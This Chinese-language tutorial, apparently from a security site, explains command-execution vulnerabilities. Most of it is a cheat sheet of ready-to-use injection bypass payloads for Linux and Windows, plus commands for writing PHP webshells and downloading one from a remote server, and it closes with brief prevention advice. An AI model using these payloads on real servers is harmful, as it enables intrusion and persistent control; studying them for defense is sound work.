m0be1
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

一、漏洞原理
命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:system()、exec()、shell_exec()、eval()、passthru(),代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
二、漏洞产生的原因
1)没有对用户输入进行过滤或过滤不严
例如:没有过滤&、&&、| 、||等连接符号。
2)系统漏洞造成的命令执行
bash破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,
会影响到bash交互的多种应用,如http、ssh和dhcp等。
3)调用的第三方组件存在代码执行漏洞
php (system() 、 shell_exec() 、 exec() 、 eval())
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行
三、命令执行的危害
继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透
四、命令执行漏洞分类
1、命令直接注入执行漏洞
应用程序直接使用了危险的可执行系统命令的函数,比如php的system、exec函数等,并且这些函数的运行参数是用户可控的,若过滤不严格,就会增大命令执行漏洞的概率。命令本地包含执行漏洞。(注:(CGI)系统命令注入执行漏洞示例,就比如Bash漏洞,就属于这类漏洞,用户可以直接更改HTTP头user-agent的值,就可引发命令注入。)
2、命令包含执行漏洞
命令本地/远程包含漏洞:应用程序直接包含或执行了用户可控的上传脚本文件或远程文件(URL引用文件),就会触发此漏洞。
3、命令反序列执行漏洞
有些动态脚本语言,如php支持实例对象的序列化传输,然后服务端将实例对象反序列化出来并执行解析后实例的构造函数、析构函数或_wakeup()函数,若这些函数利用了用户可控的参数,则会触发命令/代码注入执行漏洞,原理和之前直接注入一样。
4、命令动态变量执行漏洞
有些动态脚本语言,如php,支持变量或函数的动态定义,即运行时可通过参数名来动态组装变量、变量值或函数。若代码中包含有类似代码,就会存在动态变量/函数的执行漏洞。
五、命令执行漏洞与代码执行漏洞的区别
1、命名执行漏洞:直接调用操作系统命令
命令执行漏洞原理:在操作系统中,"&、| 、||"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
2、代码执行漏洞:靠执行脚本代码调用操作系统命令
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、poc_popen、escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞。以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个。
六、常见连接符(管道符)
1、windows系统支持的连接符
2、Linux系统支持的连接符
七、常见命令执行的函数
1、system()
system(string $command, int &$return_var = ?): string
执行系统命令,有回显
2、passthru()
passthru(string $command, int &$return_var = ?): void
执行系统命令并且显示原始输出
3、shell_exec()
shell_exec(string $cmd): string)
通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显)
4、exec()
exec(string $command, array &$output = ?, int &$return_var = ?): string
执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行
5、反引号
echo `ls`;
只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用
6、回调函数
这类型函数会在代码执行的时候讲到,故这里只说明一点,如果回调函数执行的是上述的执行系统命令的函数,那么回调函数也可以被当成命令执行使用
八、命令执行绕过技巧
linux场景命令执行绕过
1、通配符绕过
cat /et?/p?*sswd
2、命令拼接
可以使用&、&&、|、||这几种方式来进行命令拼接
ls & cat /etc/passwd
3、注释符#进行绕过
cat /etc/passwd #anything
4、编码绕过
URL编码是web端进行命令执行绕过最常用的方法
cat%20%2Fetc%2Fpasswd
base64编码绕过:将想要执行的命令进行base64编码,然后添加到下面的双引号里面。
echo "d2hvYW1p" | base64 -d | bash
5、$IFS空字符绕过
cat$IFS/etc/passwd
cat$IFS$1/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
6、字符拼接
cat /"e"tc/'p'a's'swd
7、转义拼接
\c\a\t /etc/passwd
8、命令拼接
a=ca;b=t;$a$b /etc/passwd
9、填充垃圾字符绕过
cat /etc/passwd xxx
666`whoami`666
10、分号(;)
cmd1;cmd2
11、反引号``和$()
echo "result : `whoami`"
echo "result : $(whoami)"
12、重定向绕过(可绕过空格)
cat<>1.txt
cat<1.txt
13、单引号和双引号
c""at 1.tx''t
14、反斜杠\绕过
c\a\t 1.t\x\t
15、$1、$@、$*绕过$1、$@、$*绕过
c$1a$1t 1.t$1$1x$1t
c$@a$@t 1.t$@x$@t
c$*a$*t 1.t$*x$*t
16、绕过长度限制
使用>>绕过长度限制,使用>>每次添加一部分命令到文件中。
echo -n "cat " > r;
echo -n "/etc" >> r;
echo "/passwd" >> r;
cat r | bash
使用\绕过
ca\
t 1.t\
xt
17、逗号绕过空格
用逗号实现了空格的作用,但是需要使用{}括起来。
{cat,/etc/passwd}
18、 \x20绕过
COMMAND=$'\x20-al';ls$COMMAND
COMMAND=$'\x20';ifconfig$COMMAND
COMMAND=$'\x20';whoami$COMMAND
COMMAND=$'\x20';id$COMMAND
COMMAND=$'\x20';pwd$COMMAND
19、环境变量绕过
打印出环境变量,然后截取其中的字符,通过字符拼接执行命令。
echo ${PATH}
echo ${PATH:5:1}
echo ${PATH:2:1}
${PATH:5:1}${PATH:2:1}
20、文件名绕过
拼接文件名绕过
cat fl[abc]g.txt //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;b=l;c=ag;d=.txt;cat $a$b$c$d //内联执行,表示cat flag.txt
正则进行匹配
cat /???/??????
cat /???/pass*
cat /etc$u/passwd
windows命令绕过
1、type绕过命令执行(windows)
type.\flag.txt
type,flag.txt
2、使用特殊符号进行绕过
whoami
who^am^i
who""ami"i"
who""""ami
3、set命令绕过
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
4、使用ping绕过执行命令
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"
九、命令执行写webshell
当我们找到一个rce漏洞却无法反弹shell时,在web路径写webshell用连接工具进行管理会方便的多。
寻找web路径,写webshell当然要写在web路径,第一步要做的就是快速寻找web路径
1.文件查找法
一般web路径一定会有index.html\php\jsp\asp,login.xxx文件。可以根据已知页面文件名全局搜索
linux:
find / -name index.php
find / -name index.*
windows:
for /r d:/ %i in (index.html) do @echo %i
for /r d:/ %i in (index.*) do @echo %i
2.源码查找法
也可以选择打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找
linux:
find / -name "*.*" | xargs grep "PHP installed properly"
find /var/www/ -name "*.php" | xargs grep "doServerTest()"
windows:
findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
findstr /s/i/n /d:C:\windows\ /c:"success" *.*
3.history等
通过linux历史命令查找web相关的服务启动命令
history | grep nginx
history | grep tomcat
history | grep http
写入webshell
确认寻找到的路径有写入权限之后,就可以开始写webshell了
1.echo直接写入
echo '<?php eval($_POST[1]); ?>' > 1.php
直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽
2.base64写入
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
使用base64是比较通用的方法,完美去除了webshell本身的特殊字符
3.绕过重定向符
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh
重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行
其他字符绕过方式,如空格对应${IFS}等,可参考命令注入的绕过方式 http://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/
4.远端下载webshell
远端服务器放置webshell,开启http
python -m http.server
目标机器执行
wget http://xx.xx.xxx.xx:8000/xxx.php
可出网且有wget的情况下可采用此方式
5.hex写入
hex写入与base64写入相似,在 https://www.107000.com/T-Hex/
将webshell编码成hex,使用xxd命令还原
或在使用前将webshell使用xxd生成hex数据
echo '<?php eval($_POST[1]); ?>' |xxd -ps
然后命令注入执行
echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php
十、漏洞防范
1、尽量不要使用系统执行命令,以免造成不必要的危害
2、在执行命令函数、方法前,变量一定要做好过滤,对敏感字符进行转义
3、使用动态函数之前,确保使用的函数是指定的函数,避免使用用户输入的函数
4、对PHP语言来说,不能完全控制的危险函数最好不要使用
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
